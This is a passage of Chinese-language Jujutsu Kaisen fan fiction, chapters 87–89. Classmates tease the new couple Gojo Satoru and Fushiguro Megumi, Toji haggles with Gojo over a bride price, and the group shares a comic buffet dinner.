钉崎野蔷薇表示反对:“不行!当初又没说谁靠近谁赢!” 家入硝子嘴里含着戒烟糖,刚应付完五条悟就得应付他的学生, 懒洋洋地说:“那我就庄家通吃了。” “那还是算虎杖赢吧。”钉崎野蔷薇凶神恶煞地威胁虎杖悠仁说, “你赢了得请我们吃饭!” 虎杖悠仁好脾气地点头:“好啊,正好可以邀请伏黑一起,庆祝他们在一起了。” “庆祝他们在一起了干什么让我们请客?”Panda心念电转, “让悟请客!” “没错, 让悟请客!”禅院真希杀气腾腾地说,“我还有事要问他们!” “对哦, 真希学姐现在是禅院家主了!”钉崎野蔷薇恍然大悟。 “没错!”禅院真希气势汹汹地说, “悟想要娶我们禅院家的人必须先过我这一关!” Panda跃跃欲试地说:“不如我们也邀请忧太回来吧, 我们打不过悟, 但是加上忧太的话就会好一点。” 虎杖悠仁看着他们唯恐天下不乱的样子:“嗯……这样好吗?五条老师和伏黑刚在一起……” “就是因为他们刚在一起才有热闹好看啊!”钉崎野蔷薇理直气壮地说, “等他们变成老夫老夫了,那还有什么有意思的?” 家入硝子用一种隐晦的‘你们真是太天真了’的眼神看着他们:“你们去吧, 我就不去了。” 没有主动去吃狗粮的义务。 “欸?家入老师不去吗?”钉崎野蔷薇有点遗憾地说,“我还想让您当着他们的面给我们多爆点料呢!” “其实也没有什么可说的。”家入硝子想起之前的事, “悟把惠的事情瞒得很紧, 很少会跟其他人说。” “真的?”禅院真希不相信地说, “那家伙?很少说?他不是那种会把惠时时刻刻挂在嘴边的人设吗?” 其他人都是一脸深以为然。 家入硝子被这群学生逗乐了。她感慨地说:“在惠成为禅院家主之前, 他不是。” 五条悟对于自己招惹的仇恨值还是心里有数的,如果不是因为伏黑惠成了禅院家主, 两个人的关系越好越有利,仅仅只是伏黑惠成为咒术师,他不会把他们的关系昭告天下。 因为五条悟的敌人太多了。 家入硝子感慨地说:“他一直把惠保护得很好。” 其他人都露出了吃到狗粮的表情。 禅院真希嘴角抽了抽:“原来还是禅院家给他提供舞台了。” 家入硝子开玩笑地说:“要不是禅院直毘人趁五条不在把惠抢回了禅院家……”她说到这里思考了一下,改口道, “可能你们第一次见到惠的时候就是在他和五条的婚礼上了。” 没错,只要五条悟喜欢上伏黑惠就不会允许对方和别人在一起。惠那孩子一向不懂得拒绝五条,只是五条从来不为难他,一直都很顺着他。 Panda作为夜蛾正道的孩子显然也很了解五条悟的个性,同情地说:“惠太可怜了!”完全被悟掌握在手掌之中啊! 禅院真希吐槽道:“我看他们两个是半斤八两,悟现在这么任性都是惠自己纵容的。” 钉崎野蔷薇嫌弃地说:“恋爱脑真可怕,我还是专注事业好了。” 虎杖悠仁说:“但是五条老师最近都很开心!” “但惠就不一定开心了。”Panda唏嘘地说,“惠不是喜欢高调秀恩爱的性格呢!” 虎杖悠仁说:“五条老师也没有拉着伏黑一起秀恩爱……” 钉崎野蔷薇吐槽道:“是啊,他自己一个人就秀出了两个人的份额。” 众人顿时想起了被五条悟的社交主页支配的恐惧。这几天因为受不了五条悟秀恩爱的频率把他拉黑的咒术师不止一个两个。 七海建人被五条悟秀得去问伏黑惠需不需要法律援助。 伏黑惠:…… “不用了。”伏黑惠顶着一张大红脸,乖巧地跟七海建人道谢,“谢谢七海先生的关心,悟先生没有强迫我。我们是两情相悦的。” 七海建人顿时一脸欲言又止,恍恍惚惚地说:“伏黑君,我敬佩你的勇气,如果以后有什么需要我帮忙的地方请尽管开口。” “好的,谢谢您。”伏黑惠有点莫名其妙地接受了七海建人的敬佩,继续处理其他人的狂轰乱炸。 因为有禅院真希和禅院真依在,东京校的学生知道的事距离京都校知道就不远了。 禅院真依宛如一个自家白菜被对家挖走了的追星少女。她虽然不讨厌五条悟,但对东京校恨屋及乌,坚决支持不能让五条家主这么轻易就把他们家的上任家主抢走的方案。 禅院真希夹在妹妹和老师之间焦头烂额。加茂宪纪知道这个消息后如遭雷劈。虽然他在伏黑惠放弃禅院家主的位置后就明白了双方真的不是一路人,但伏黑惠跟五条悟在一起是他没想到的! “五条家真的要和禅院家联姻了。”加茂宪纪理智地思考着,“加茂家里有能和五条家或者禅院家联姻的合适人选吗?” 御三家之间互相联姻是常事,但是架不住这次联姻的两个人太过重量级。咒术界都是风言风语,有的觉得是五条悟的养成阴谋,有的认为是禅院家依附五条家的手段。 加茂家不能在这场风波中隐身,不然就真的要被剔出御三家了。现在最好的办法是加茂宪纪娶一个禅院家或者五条家的嫡系,加入到这场联姻中去。 要说他最熟悉的一个……加茂宪纪想了想,给禅院真依发了个消息。 吃瓜吃到自己身上的禅院真依:??? 发现自家房子好像也有坍塌风险的禅院真希:!!! 她好像理解五条悟不让伏黑惠接触追求者的时候的心情了。禅院真希挑了把特级咒具,开始磨刀。 另一边,在心理上折磨别人的五条悟也迎来了重量级的对手。 伏黑甚尔不知道从哪儿弄来了五条悟的行程,找了个荒郊野岭,提前把咒灵嘎了,守株待兔。 五条悟看着伏黑甚尔。虽然现在对方已经不是他的对手,但曾经的心理阴影还是让他默默地绷紧了身体肌肉:“你来干什么?” 伏黑甚尔嗤笑一声:“我来干什么,你不知道?!” 五条悟当然知道,他和惠的事传得沸沸扬扬,伏黑甚尔肯定能听到风言风语。 “反正你之前也没管过惠,现在突然冒出来准备做什么?”五条悟摆出一副不在乎的样子,心里思考着要是伏黑甚尔上来跟他拼命,他把对方打个几分死不会让惠生气。 伏黑甚尔眼神险恶地盯着他:“当初我把儿子交给你可不包括这部分。” 五条悟用‘你怎么脸皮这么厚’的表情看着他:“惠是我自己从禅院家抢回来的,跟你有什么关系?!” 伏黑甚尔理直气壮地说:“要不是我告诉你,你能知道我有个儿子?” 五条悟怼回去:“你也没说你早就把儿子卖给禅院家了啊!” “我没说吗?”伏黑甚尔一脸忘记了的欠揍表情。 五条悟眼也不眨地说:“你没说!” “啊……随便吧。”伏黑甚尔不以为意地说,“总之结婚是另外的价钱,你打算出多少聘礼?” “出多少也不给你。”五条悟呛声道,“就算出聘礼也是给惠本人啊!” 伏黑甚尔提醒道:“我是他爸!” “你现在想起来这件事了!”五条悟打蛇打七寸,“你准备给惠多少嫁妆?” 伏黑甚尔半点不心虚地说:“嫁妆不是该禅院家出吗?” “那聘礼不是也应该送到禅院家吗?”五条悟理直气壮地反驳道。他倒是不介意给惠送钱,已经结婚了他的都是惠的,聘礼送去禅院家也算是支持真希了,给伏黑甚尔算什么?他还不如直接捐给赌场! “啧!”伏黑甚尔嫌弃地看着五条悟,“小气吧啦的,他怎么看上你的?” “惠就是喜欢我!”五条悟骄傲抬头,毫不犹豫地炫耀了老丈人一脸,“惠超级喜欢我!” “喜欢你什么?”伏黑甚尔挑剔地打量着五条悟,“从上到下也只有这张脸值钱!” 东京校跟伏黑惠比较熟悉的学生们也在劝伏黑惠不要轻易跳进火坑,这样他们就能开启第二轮赌注了,还能看五条悟吃瘪,一举两得。 伏黑惠听着前辈们劝他“以貌取人”、“被美色迷惑”、“找恋人还是得看内涵”,哭笑不得。 混在东京校之中的禅院真依恨铁不成钢:“惠,你到底喜欢五条悟什么?!” 已经思考过这个问题并且得出了答案的伏黑惠秒答:“因为性格吧。” 禅院真依:?? 禅院真希:??? Panda:???!!! 虎杖悠仁目瞪口呆地看着伏黑惠,嘴张成了圆形。 钉崎野蔷薇用看神经病的眼神瞪着伏黑惠:“你有病吧!你还不如说你就是喜欢他的脸呢!” 伏黑惠迷惑不解地看着他们:“喜欢悟先生的性格有什么问题?” 禅院真依如丧考妣似的,有气无力地说:“没什么,只是意识到你确实没救了。” 第87章 伏黑惠正在面临众人对他的审美的质疑。 “那家伙的性格……伏黑你的审美也太奇怪了吧!”钉崎野蔷薇不可置信地说。 “悟先生的性格……也还好吧。”伏黑惠默默开口道。虽然五条悟偶尔有点任性和胡搅蛮缠, 但对于他来说都不是大问题。 “悟的性格都能算还好吗?惠你的脾气也太好了吧!”Panda感慨地说。 虎杖悠仁说:“伏黑和五条老师一起生活了那么长时间,对五条老师的性格应该已经很习惯了吧。” “我看是悟太双标了。”禅院真希吐槽道,“你们都不知道他双标到什么地步!” 禅院真依不满地说:“他偏爱惠不是理所当然的吗?那么大个人还对惠撒娇!” 钉崎野蔷薇看热闹不嫌事大地说:“伏黑, 你不能总是纵容他, 你要反抗!” 伏黑惠疑惑地问:“为什么?” 钉崎野蔷薇振振有词地说:“先爱的人就先输,你得趁现在奠定自己的优势地位,要不然以后肯定会被他欺负的。” “悟先生不会欺负我。”伏黑惠眉头微蹙, “这种事和输赢有什么关系?” 其他人被他的前半句话秀了一脸, 再听到后半句话的时候,钉崎野蔷薇神色复杂地吐槽道:“没事了, 你已经连身带心输得一干二净了。” 伏黑惠面露疑惑。 但不想接着吃这份狗粮的众人转了个话题。 Panda八卦地问:“我更好奇惠你是怎么喜欢上悟的?” “对啊, 你是怎么发现自己喜欢那个人的?”禅院真依怀疑地问, “该不会是他故意误导你吧?” “你这么问他只会说没有。”钉崎野蔷薇抢答道, “我记得之前伏黑你说喜欢有坚定人性的人。” 伏黑惠理所当然地说:“悟先生就有很坚定的人性啊!” “这倒是真的。”Panda点了点头。 “这种标准也太飘忽了吧。”禅院真依说, “没有坚定人性那还叫人吗?” 钉崎野蔷薇跟她唱反调:“禅院家的人有几个有人性的?” 禅院真依无言以对。 禅院真希说:“所以他们都不算人。” 禅院真依说:“但是有坚定人性的咒术师也不少吧,五条悟有哪里好?” 其他人跟她一同看向伏黑惠。 伏黑惠的脸慢慢变红:“悟先生很好的。” 众人看着他的神态, 脸上的笑容逐渐猥琐:“他哪里好?说具体点。” 伏黑惠仔细想了想:“悟先生哪里都很好吧。” 众人:…… 禅院真希说:“惠,你不觉得悟自己这么说很自恋吗?” 伏黑惠说:“没有吧, 虽然自夸有点让人不好意思, 但悟先生也是说了实话啊。” Panda面露愁苦地摸了摸自己毛绒绒的肚子:“熊猫为什么要在这里吃狗粮?” “是啊, 我们为什么要自讨苦吃?”钉崎野蔷薇颓然地趴在草坪上, 一下一下地如同泄愤地揪着草坪上的草。 虎杖悠仁左顾右盼,目光扫过其他人:“不是因为关心五条老师和伏黑的恋情吗?” “是啊哈哈哈!”禅院真希毫无感情色彩地干笑了几声。 禅院真依嫌弃地看着他们。 “你那是什么眼神啊?!”钉崎野蔷薇跟禅院真依针锋相对地说, “想知道什么你自己问啊!” 禅院真依色厉内荏地说:“我可没有你们那么八卦,我只是想知道五条悟有没有故意诱拐我们禅院家的人而已!” “悟先生没有诱拐我。”伏黑惠心累地说,“我们……我喜欢悟先生的。” 禅院真依说:“但他告白之前你不喜欢他吧?” 伏黑惠即答:“是我自己太迟钝了没发现。” “虽然伏黑很确定的样子……”钉崎野蔷薇跟其他人凑到一起窃窃私语。 Panda说出了大家共同的感想:“但还是感觉惠似乎被悟套路了。” 禅院真希深沉点头。 虎杖悠仁摸了摸后脑勺,心虚气短地说:“五条老师应该不会那么做吧……” “谁知道?”禅院真希说, “反正五条家和禅院家联姻是板上钉钉得了,看我不狠狠敲他一笔!” 关于聘礼和嫁妆的问题,五条悟和伏黑甚尔进行了你来我往地拉扯。 五条悟不缺钱,但是看伏黑甚尔这么大摇大摆地来找他要聘礼就是心头火起。 他面色发沉:“你除了要钱之外就没有其他要说的了?” 伏黑甚尔问:“说什么?” 五条悟深吸了一口气:“有关惠,你就没有什么要说的吗?!” 伏黑甚尔理直气壮地说:“钱在哪儿爱在哪儿,你舍得给他花钱不就挺爱他的?” 五条悟一口气噎得胸口疼。他磨了磨后槽牙,说:“我把之前的事告诉他了。” “之前……哦,你把我杀了的事。”伏黑甚尔不以为意地说,“那不也没影响你们在一起吗?” 五条悟气鼓鼓地说:“是啊,惠根本不在乎你,他只在乎我!” “挺好的。”伏黑甚尔说,“你多给点钱直接买断,我就再也不出现在他面前了。” “你……”他说得太痛快,五条悟一时之间居然不知道说什么好,只能在短暂的沉默后替惠抨击他,“人渣!” “别说那些有的没的。”伏黑甚尔对于被骂人渣接受良好,他本来就不是什么好东西,“我指不定哪天就又死回去了,不趁现在多享受干什么?” 五条悟毫不客气地给了老丈人两个白眼:“你死不死管我什么事?!” “啧!”伏黑甚尔认真打量了五条悟一会儿,咂舌,“你喜欢他什么?” 五条悟脱口而出:“惠可爱!” 伏黑甚尔的眼神转为鄙视。 “别用看变态的眼神看着我!”五条悟理直气壮地说,“难道惠不可爱吗?!” 伏黑甚尔避之不答:“你本来就是变态!” “那也比你这个人渣好!”五条悟这么说着,还是回答了老丈人的问题,“我也不知道,反正惠就是很可爱,我发现的时候已经喜欢他了。” 伏黑甚尔莫名得意:“当初的十亿没让你白花吧!” 五条悟说:“惠是无价之宝。” 伏黑甚尔嫌弃地看着他,没见过在老丈人面前秀恩爱的:“别以为这样我就会少收你钱。” “谁说我打算给你钱了?”五条悟说,“我看着像冤大头吗?”他看着伏黑甚尔想说什么,提前打断道,“我的钱都是惠的,你想要去找惠要。” 不找伏黑惠这个不熟的儿子要钱可能是伏黑甚尔这个人渣最后的底线。 伏黑甚尔嫌弃地看着他:“堂堂五条家主这么小气吧啦的!” 五条悟假惺惺地说:“毕竟我是有家室的人了,花钱不能再那么大手大脚了。” “嘁!”伏黑甚尔并不相信,但五条悟看起来不打算给他钱,他也懒得再花费时间跟对方纠缠。 五条悟看着伏黑甚尔离开的背影,带着胜利者的大度说:“我们结婚那天一定给你发请帖。” 伏黑甚尔懒洋洋的声音随风而来:“要是那时候我还活着的话。” 五条悟目送着他离开:“等着吧,我和惠才刚刚恋爱,还不想那么快走进婚姻呢!” 伏黑甚尔嗤笑一声:“我建议你们想做什么尽快做,别过一会儿你又被关到什么里面了。” 五条悟沉声说:“我不会在同一个坑里摔两次,这一点你不是很清楚吗?” “啊,也是。”伏黑甚尔不在乎地说。两个人分道扬镳。 五条悟突然很想伏黑惠。虽然是同一张脸,但父子两个人相差甚远。惠怎么就那么可爱呢? 五条悟一边感慨着一边给伏黑惠打电话,声音还荡着波浪的尾音:“惠~想我了没有?” “……没有。”伏黑惠看着自己面前正盯着他的四双眼睛,镇定地回答。 “欸?!”电话另一边的五条悟要闹了,“惠怎么能不想我呢?!” 伏黑惠说:“悟先生,我们今天早上才见过。” “惠没听过一日不见如隔三秋吗?”五条悟振振有词地说,“我们都已经一整个白天也就是一年半都没见过了!” 伏黑惠面露迷惑:“是这么算的吗?” 五条悟拉长了声音说:“惠~我好想你~” 伏黑惠周围听到他的声音的学生们抖了抖,掉了一地鸡皮疙瘩。 伏黑惠不好意思地摸了摸发烫的后颈,故作淡定地说:“嗯,我知道了。” “还有呢?”五条悟说,“惠不应该也说想我吗?” 伏黑惠为难地左右看了看,可惜前辈们没打算放过他。伏黑惠无声地叹了口气,只能在众目睽睽之下说:“我也想您。” “噫!”前辈们纷纷发出狗粮吃撑的声音。 五条悟脑袋一歪,发现事情并不简单:“惠,你在哪里?” 伏黑惠回答:“我在东京校。” 电话另一边的声音突然消失了片刻,五条悟抱怨道:“惠去高专怎么不告诉我?” 禅院真希说:“我们让惠不要告诉你的。” 禅院真依说:“我们正在劝惠不要误入歧途。” “欸——我怎么算是歧途呢?”五条悟抗议道,“我才是惠的正途,禅院家才是歧途!” “说什么呢?!”禅院真依不爱听,用眼尾瞄禅院真希,他们禅院家的人回家怎么算歧途了?! “就是!”禅院真希这个时候肯定要站在妹妹这边,不然回去又要闹别扭了,“悟,惠是有娘家的人,你对他不好,我们可不答应!” 伏黑惠说:“悟先生不会对我不好……” “你闭嘴!”其他人异口同声地说。 五条悟在电话另一边哈哈大笑。 作者有话说:存稿箱时间设定错了,因为身体不舒服睡得早,结果没能及时发现今天身体不舒服,不更新了,明天晚上照常更新 第88章 伏黑惠在众人痛心疾首的目光中挂断了电话, 理直气壮地面对着其他人的目光。 有点害羞是一回事,但他和悟先生已经是情侣,思念对方没有任何问题。 禅院真依满脸写着无语, 狠狠白了伏黑惠一眼。 禅院真希已经看清了真相, 恨铁不成钢地叹了口气。 钉崎野蔷薇忿忿地说:“我真是疯了才特地跑过来吃狗粮!” 虎杖悠仁开心地说:“但是五条老师和伏黑感情很好啊!恭喜你们!” Panda给学弟指点迷津:“虎杖你一会儿把这句话当着悟的面再说一遍,就可以让他请我们吃饭了。” “欸?”虎杖悠仁微微一愣,随后很快反应过来, “啊!” 伏黑惠缩了缩脖子, 把下半张脸埋进了衣服的高领后面。 “行吧,能敲他们一笔就算是给我的精神损失费了。”钉崎野蔷薇不情不愿地说。 禅院真依不缺一顿饭也不想再吃狗粮:“五条悟什么时候到?” 禅院真希很有经验地说:“按照他对惠的在意程度, 快了。” “那我先走了。”禅院真依一点儿都不留恋, 只跟伏黑惠说了一句, “要是五条悟欺负你就回禅院家, 那些长老们都惦记着你呢!” 禅院真依走得干净利落, 伏黑惠想拦都没拦住,只好无奈地对禅院真希说:“真希前辈, 我不会再回禅院家了。” “我知道,真依也知道。”禅院真希让伏黑惠不用担心, “真依只是关心你。” 伏黑惠点点头, 示意自己明白。 “嘁!那家伙……”钉崎野蔷薇撇了撇嘴, 看着其他人, 摩拳擦掌地说,“我们来讨论一下一会儿去吃什么吧!” 其他人都露出了吃大户的快乐笑容。 Panda还很周到地带上了伏黑惠:“惠, 你有什么想吃的吗?” 这样到时候悟问起来就可以说是惠想吃了,计划通! “嗯?”伏黑惠面对这个问题,习惯性地掏出了手机,开始用评分软件把周围的餐厅从高到低排列, 然后从里面选自己感兴趣的。 其他人看着他行云流水的操作:比不了比不了,这就是当过禅院家主的豪奢吗? 禅院真希:不,不是,没有,禅院家不提供这种服务。 Panda摸了摸下巴:“其实真希当上了禅院家主也该请客呢!” 禅院真希忍不住澄清道:“请客倒是没问题,但惠这完全是被悟惯的,跟禅院家没有关系!” “啊?”正在专心挑餐厅的伏黑惠抬起头,面对的就是众人意味深长的目光。 伏黑惠:??? 钉崎野蔷薇感慨道:“虽然做五条老师的恋人这种事一听就很麻烦,但五条老师很有钱是真的。” 虎杖悠仁下意识反驳道:“可是,伏黑是五条老师养大的,就算不跟五条老师谈恋爱也不会缺钱吧。” Panda开口道:“惠要是想要钱的话就不会离开禅院家了。” 禅院真希吐槽道:“比起跟那家伙谈恋爱,我宁愿一分钱都不要。” 众人深以为然。 伏黑惠:??? 就在这个时候,另一位主角出现了。五条悟从东京校大门大摇大摆地走进来,一点儿都不顾及自己已经不是东京校的老师了。 五条悟朝着众人挥手:“你们敬爱的五条老师回来了!” “嘁!”学生们给了他一个大大的白眼。 五条悟才不理会他们的反应,走到伏黑惠面前大声问:“惠,我能亲你一下吗?” 伏黑惠的脸腾地红了。背后是前辈们虎视眈眈的目光,面前是五条悟期待的脸,伏黑惠支支吾吾说不出话来,谴责地看着五条悟。 五条悟一脸无辜,抱住伏黑惠,甜甜蜜蜜地喊道:“惠~” 伏黑惠:…… 他回头看了一眼其他人。其他人用混合着同情、看热闹和果然如此的眼神回视他:看吧,我们刚刚说什么来的? 伏黑惠看向五条悟。 五条悟笑得像是一朵向日葵。 伏黑惠尴尬地说:“悟先生,可以等回去再亲吗?” 五条悟眨了眨眼睛:“但我们是情侣吧。”潜台词就是可以在大街上亲,完全没问题。 伏黑惠沉默了一会儿,坚定地拒绝道:“不行!” 五条悟委屈地睁大了眼睛,墨镜从高挺的鼻梁上微微下滑,露出那双让人无法拒绝的蓝眼睛。 钉崎野蔷薇在背后大声问:“那家伙是故意戴墨镜的吧?” Panda火上浇油地说:“悟说过,见女孩子会戴墨镜呢!” 伏黑惠原本摇摇欲坠的心重新坚定起来:“在外面不可以!” “好吧。”五条悟看似委曲求全地答应道,“我才不是那种会强迫惠的坏大人。” 伏黑惠又有点愧疚了。 “故意的吧?” “绝对是故意的。” “你看惠的表情……” “完全被悟玩弄于股掌之中啊!” 后面四个人用两个人完全能听到的音量‘窃窃私语’。伏黑惠尴尬得满脸通红,从五条悟怀里挣扎出来,抚平了衣服。 五条悟鼓着脸看着他的学生们。 他的学生们用眼神告诉他:看到没,这就是没打点好亲友团的下场! 五条悟吐槽道:“你们不该是我的亲友团吗?” 钉崎野蔷薇嫌弃地看着他:“你对自己的人缘有没有清晰认知啊?” 禅院真希有理有据地说:“我可是惠的姑姑,当然是站在惠这边的。” Panda表示:“我站在真希这边。” 虎杖悠仁真·无辜地说:“我一直很支持你们的。” 五条悟欣慰地看着虎杖悠仁:“悠仁你一会儿随便点餐,老师掏钱。” 钉崎野蔷薇立刻不干了:“难道我们还得自己掏钱了?老师你变小气了!” 五条悟表示:“只要野蔷薇说一句祝福老师的话,老师也可以请客哦,怎么样?” “啧!”钉崎野蔷薇面色复杂地说,“祝你们百年好合总感觉对不起伏黑。” “怎么会?!我跟惠可恩爱了!是不是,惠?”五条悟闪亮着那双眼睛看着伏黑惠。 伏黑惠僵硬地点头,是害羞但看着很像逼良为娼。 禅院真希看不下去地说:“你就非得牵着惠跟我们说话吗?” 五条悟和伏黑惠十指相扣,理直气壮地说:“不能亲亲难道还不能牵手吗?你们这群没谈过恋爱的单身狗什么都不懂!” 单身狗们:好想揍他!!! 伏黑惠轻咳了一声:“悟先生,你吃晚餐了吗?” 五条悟的注意力立刻被勾走了:“没有哦,惠饿了吗?想吃什么?” 钉崎野蔷薇:“牛排!” 虎杖悠仁:“寿司!” Panda:“猪扒饭。” 禅院真希:“怀石料理。” 伏黑惠:“……都可以。” “那我们去吃高级海鲜自助吧。”五条悟说,“想吃什么里面都有。” “好耶!”众人的欢呼声响彻天地。东京校里好久没有这么热闹过了,大家都太忙了,连聚在一起的时候都不多——除非有八卦。 五条悟说:“我让伊地知换一辆大一点的车过来。” “您让伊地知先生也稍微休息一下吧。”伏黑惠说,“我会开车。” 他为了忙起来躲避五条悟的追求特意去学了。 普通人常识最多的虎杖悠仁赞同地说:“六个人比七个人方便一点。” 禅院真希开玩笑地说:“不会开车也没关系,惠还曾经用「鵺」载过真依和西宫。” “嗯?”五条悟支棱起来,“为什么我不知道?” 钉崎野蔷薇犀利吐槽道:“这种事也要报备吗?五条老师你别太离谱了!” 伏黑惠说:“是在您被封印的时候发生的事。” 五条悟只听了自己想听的话,气鼓鼓地说:“我都没有被「鵺」载过!” 伏黑惠无语地问:“您有什么被「鵺」载的必要吗?” 五条悟宣布:“我不管,我也要坐!” 伏黑惠:……有点无语,但又有点习惯。 伏黑惠在众人‘你有病吧’的眼神中,习以为常地说:“好,下次有机会让您坐。” 禅院真希:“惠,这样宠着他是会让悟得寸进尺的!” Panda:“惠,溺爱是不对的。” 钉崎野蔷薇:“伏黑,你不要这么逆来顺受好不好!” 虎杖悠仁:“……其实我也有点想坐,听起来很有意思。” 伏黑惠用奇怪的眼神看着他们,率先开口道:“我没有溺爱,也没有逆来顺受。” 五条悟说:“不可以哦,悠仁,我还没有坐过。” 这个时候五条悟说什么已经不重要了,除了虎杖悠仁面露遗憾之外,其他人的注意力都在伏黑惠身上,脸上的表情充分显示了他们的心理活动。 五条悟抗议道:“你们为什么一副我诱拐了惠的表情啊?!” 众人质问:“你敢说你没有吗?!” 五条悟敢:“我和惠是两情相悦的!”他还敢征求另一个人的赞同,“对不对,惠?” “对。”伏黑惠虽然会因为害羞不想当着大家做一些亲密动作,但是却不会不承认他对五条悟的感情。 五条悟问:“你们还要不要吃大餐?” “要!”众人见好就收。他们也不认为五条悟真是那种会诱拐小朋友的人渣,只是这件事微妙得让人觉得真的很渣,是符合法律但在道德上很微妙的典范呢! 如果说一开始是怀着微妙的担心,那么后来就是五条悟恩爱秀得太过了,让人很想打击他的热情。 一天三次发主页暗示自己恋爱了有意思吗?!你都这么忙了怎么还有时间秀啊?!看到什么都能想到男朋友,你这是什么纯种恋爱脑啊?! 第89章 在五条悟大言不惭地要求大家必须一人说一句祝福他和伏黑惠的话才能被请吃饭, 然后被群嘲后,众人终于从东京校来到了一家高级自助餐厅。 进门的时候,前台服务员立刻上前, 有些惊奇的目光扫过Panda, 很快就找到了他们之中做主的白发男人:“欢迎光临!您好,请问有预约吗?” “嗯?”五条悟看向伏黑惠。 伏黑惠开口道:“有的,五条先生预约的, 手机号码是……” 服务生笑容甜美地说:“好的, 您预约的六人位,请跟我来。” 这家自助餐厅不是自己取餐, 而是由服务生拿来菜单, 让他们点餐的模式。 反正不管吃多少都是一个价格, 大家也不跟五条悟客气, 放开了点。 虎杖悠仁用一种见世面了的语气说:“这家自助餐厅还需要预约欸!” “这就是大都市啊!”钉崎野蔷薇撩了撩头发, 享受地说,“需要预约的才能称得上是高级餐厅啊!” 五条悟说:“也有一些餐厅不需要预约的。” Panda揭穿他:“你刚才自己也忘了吧?” 五条悟自豪地说:“我和惠一起出门都是惠负责预约的哦!” “你在骄傲个什么劲啊?”钉崎野蔷薇开玩笑地抨击道, “这都是你压榨伏黑的证据!” 禅院真希也半是开玩笑地说:“惠,你要是受了委屈就回来, 我们不怕五条家。” 伏黑惠哭笑不得。 五条悟一搂伏黑惠的肩膀:“这分明是我和惠恩爱的证据!你们明明是嫉妒我和惠的恩爱!” “嘁!”大家一起给了他一个嫌弃的表情。 “惠~”五条悟一脸饱受打击地把脸埋进了伏黑惠的脖颈间寻求安慰。 伏黑惠拍了拍他的脑袋, 耳尖红红。 “伏黑你拍得也太顺手了吧?”钉崎野蔷薇质疑道, “你们真的刚交往吗?” 伏黑惠说:“是真的。” “真让人不敢相信。”Panda煞有其事地说, “你们才交往不到一个月,看起来就像是交往几年了。” 禅院真希默契地接话道:“这证明他们以前说不定就是这么暗通款曲的。” 伏黑惠困惑地问:“我们不能算是暗通款曲吧?” 禅院真希指了指伏黑惠, 又指了指五条悟:“你,禅院家主。他,五条家主。暗通款曲,实锤!” 伏黑惠和五条悟对视了一眼。 五条悟理直气壮地说:“惠先是我的惠然后才变成禅院家主的, 是禅院家的错!” 禅院真希总是能在这一点上和五条悟达成共识:没错,都是禅院家的错! 虎杖悠仁默默举手:“只有我一个人觉得伏黑拍五条老师的手势跟拍「玉犬」差不多吗?” “噗嗤!” “哈哈哈哈!” “好样的虎杖!” “别这么早就说大实话啊,悠仁!” 五条悟看着哈哈大笑的几个人,清了清嗓子,威胁道:“你们是不是忘记了我还没结账。” “嘁!天天就拿结账威胁我们。”禅院真希看向伏黑惠,“惠,你愿不愿意请前辈们吃饭?” 伏黑惠当然不会拒绝。 众人得意地看向五条悟。伏黑惠都答应了,难不成五条悟还会逃单吗? 伏黑惠无奈地说:“我也有钱。”他在禅院家也会出去袚除咒灵的,也有工资,虽然钱不多,但不至于连一顿饭都请不起。 “怎么能花惠的钱?”五条悟立刻支棱起来了,“我给惠的卡不够用了吗?不应该啊,自从惠成年我这里就取消限额了。” “够用。”伏黑惠把激动得要给银行打电话的五条悟压下去,“我总不能用您的钱请前辈们吃饭。” 五条悟不满地噘嘴:“我和惠分什么你我?” 众人的注意力在另一件事上,禅院真希作为五条悟的学生伏黑惠的家属问:“悟你给过惠卡?什么时候给的?” “很久以前了。”伏黑惠认真回忆了一下,“好像是小学……” “三年级。”五条悟说,“之前都是我定期给惠和津美纪打钱,但是惠和津美纪都不是会乱花钱的孩子,所以这样更方便。” 钉崎野蔷薇半是意外半是打趣地说:“你记得还真清楚啊!” 五条悟得意地说:“惠的事我都记得很清楚哦!” “噫!”Panda说,“野蔷薇,你别给他炫耀的机会啊!” “我只说了一句话而已!”钉崎野蔷薇黑着脸说,“谁知道他见缝插针也要秀!伏黑,你管管他!!!” 伏黑惠一脸茫然。 禅院真希嘴角抽了抽:“惠,你该不会完全不觉得悟这样有什么问题吧?” 伏黑惠:确实。 他奇怪地说:“悟先生只是说了实话啊。”为什么大家的反应这么大? 禅院真希扶额吐槽:“你说得对,是我不该问。” 她不该给五条悟提供秀恩爱的平台。 钉崎野蔷薇为学姐抱不平:“这跟真希姐你有什么关系?你问的明明是伏黑,是五条老师自己插话的!” 虎杖悠仁说:“所以其实把话引过去的是钉崎……啊!”被揍。 钉崎野蔷薇理直气壮地说:“分明是五条老师脸皮太厚了!” 其他人一起认同地点头。 伏黑惠困惑地看着他们。 五条悟得意地笑。很明显,除了伏黑惠之外的人没有制裁他的方法,而伏黑惠……不认为他的做法有任何问题。 虽然伏黑惠自己不会主动去秀恩爱,但五条悟想秀,两个人又的确是恋人,那他也不会去拦着对方。 ——何况,伏黑惠的确不认为这种做法是秀恩爱。 想通了这一套逻辑,众人都气得牙痒痒。 另一边,五条悟并没有被秀恩爱的话题带歪,眨巴着眼睛看着伏黑惠,拉长了声音问:“惠真的把我当「玉犬」吗?” “你还没忘啊!”众人嫌弃地看着撒娇的五条悟。 “怎么可能?”伏黑惠坦诚地说,“您比「玉犬」难搞多了。” “哈哈哈哈哈哈哈!”又是一轮大笑,众人扬眉吐气地看着五条悟被怼,感觉又能多吃一轮。 “惠好过分!”五条悟哀怨地说,“惠还会主动亲亲「玉犬」,都没有主动亲亲我。” 伏黑惠尴尬地看了众人一眼。 众人目光灼灼地看着他们,准备收割八卦。 伏黑惠:…… “可以等回去再说吗?”伏黑惠连脖子都红了,恼羞成怒地瞪了五条悟一眼。 “好吧。”五条悟见好就收,害羞的惠这么可爱,他自己一个人看到就可以了。 一顿自助餐下来,大家把大餐吃了个饱,狗粮也没少吃,一致决定以后让这两个人请客,让他们出钱就行了,本人就不要出现了。 被嫌弃的五条悟:诶嘿!以后我可以多跟惠二人世界! 被嫌弃的伏黑惠:……不太理解,但是接受。 等着这两个人抗议的众人:……狗男男! 单身的学生们跑步回东京校顺便消食,恋爱中的两个人手牵着手走回家享受二人空间,那辆车被五条悟一个电话交给了伊地知洁高,让对方记得开走。 伏黑惠疑惑地问:“前辈们都没有考驾照吗?” 五条悟说:“咒术师出门基本都有辅助监督接送,不忙的时候坐公共交通就行,现在突然有事也能就近找警方帮忙,用不着自己开车。” 他自己就是个考了驾照用不着的典型。五条悟好奇地问:“惠的前辈们里也包括悠仁和野蔷薇吗?” 